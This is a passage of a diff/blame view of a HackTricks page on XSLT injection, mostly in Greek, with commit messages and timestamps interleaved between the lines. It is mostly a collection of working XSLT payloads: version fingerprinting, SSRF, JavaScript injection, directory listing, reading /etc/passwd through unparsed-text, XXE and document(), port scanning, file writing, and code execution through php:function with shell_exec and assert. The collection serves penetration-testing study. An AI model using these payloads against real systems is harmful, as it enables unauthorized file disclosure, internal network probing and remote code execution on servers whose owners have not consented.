-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:include href="http://127.0.0.1:8000/xslt"/>
 								<xsl:template match="/">
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								### Versions
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Μπορεί να υπάρχουν περισσότερες ή λιγότερες λειτουργίες ανάλογα με την έκδοση XSLT που χρησιμοποιείται:
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
 								* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
 								* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
 								* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								## Fingerprint
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Ανεβάστε αυτό και πάρτε πληροφορίες
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="ISO-8859-1"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 								Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 								Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 								<xsl:if test="system-property('xsl:product-name')">
 								Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:product-version')">
 								Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:is-schema-aware')">
 								Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-serialization')">
 								Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								/><br />
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 								Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								/><br />
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								</xsl:if>
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								</xsl:template>
 								</xsl:stylesheet>
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								## SSRF
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] one page modified
											
										
										
											2020-09-04 15:35:33 +00:00
+								<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
 								</esi:include>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								## Εισαγωγή Javascript
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<script>confirm("We're good");</script>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## Κατάλογος καταχώρησης (PHP)
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **Opendir + readdir**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								<xsl:value-of select="php:function('readdir')"/> -
 								</xsl:template></xsl:stylesheet>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								### **Επιβεβαίωση (var\_dump + scandir + false)**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
 								<br />
 								</body>
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								</html>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								## Διαβάστε αρχεία
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								### **Εσωτερικό - PHP**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:template match="/">
 								<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								### **Εσωτερικό - XXE**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								&ext_file;
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								### **Μέσω HTTP**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
 								<xsl:value-of select="document('/etc/passwd')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<!DOCTYPE xsl:stylesheet [
 								<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
 								<xsl:template match="/">
 								&passwd;
 								</xsl:template>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								### **Εσωτερικό (PHP-συνάρτηση)**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
 								<br />
 								</body>
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								</html>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								### Σάρωση θύρας
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="document('http://example.com:22')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								## Γράψτε σε ένα αρχείο
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### XSLT 2.0
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:result-document href="local_file.txt">
 								<xsl:text>Write Local File</xsl:text>
 								</xsl:result-document>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								### **Επέκταση Xalan-J**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<xsl:template match="/">
 								<redirect:open file="local_file.txt"/>
 								<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
 								<redirect:close file="loxal_file.txt"/>
 								</xsl:template>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Άλλοι τρόποι για να γράψετε αρχεία στο PDF
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## Συμπερίληψη εξωτερικού XSL
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<xsl:include href="http://extenal.web/external.xsl"/>
 								```
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" ?>
 								<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## Εκτέλεση κώδικα
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### **php:function**
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="utf-8"?>
 								<xsl:stylesheet version="1.0"
 								xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 								xmlns:php="http://php.net/xsl" >
 								<xsl:template match="/">
 								<xsl:value-of select="php:function('shell_exec','sleep 10')" />
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>
 								<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
 								<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
 								<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
 								<br />
 								</body>
 								</html>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Execute code using other frameworks in the PDF
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								### **Περισσότερες Γλώσσες**
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								**Σε αυτή τη σελίδα μπορείτε να βρείτε παραδείγματα RCE σε άλλες γλώσσες:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## **Πρόσβαση σε στατικές συναρτήσεις PHP από κλάσεις**
-												GitBook: [master] one page modified
											
										
										
											2021-06-07 12:06:44 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Η παρακάτω συνάρτηση θα καλέσει τη στατική μέθοδο `stringToUrl` της κλάσης XSL:
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] one page modified
											
										
										
											2021-06-07 12:06:44 +00:00
+								<!--- More complex test to call php class function-->
 								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
 								version="1.0">
 								<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
 								<xsl:template match="root">
 								<html>
 								<!-- We use the php suffix to call the static class function stringToUrl() -->
 								<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
 								<!-- Output: 'une_superstring ao modifier' -->
 								</html>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								(Παράδειγμα από [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))
-												GitBook: [master] one page modified
											
										
										
											2021-06-07 12:06:44 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## Περισσότερα Payloads
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								* Δείτε [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
 								* Δείτε [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## **Λίστα Ανίχνευσης Brute-Force**
-												GitBook: [master] 10 pages modified
											
										
										
											2021-06-27 21:56:13 +00:00
-												GitBook: [#2777] gitbookissooooo slow I cannot write

											
										
										
											2021-10-18 11:21:18 +00:00
+								{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
-												GitBook: [master] 10 pages modified
											
										
										
											2021-06-27 21:56:13 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								## **Αναφορές**
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
 								* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
-												GitBook: [#2777] gitbookissooooo slow I cannot write

											
										
										
											2021-10-18 11:21:18 +00:00
+								* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								{% hint style="success" %}
 								Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
+								<details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								<summary>Υποστήριξη HackTricks</summary>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								* Δείτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 								* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 								* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								</details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								{% endhint %}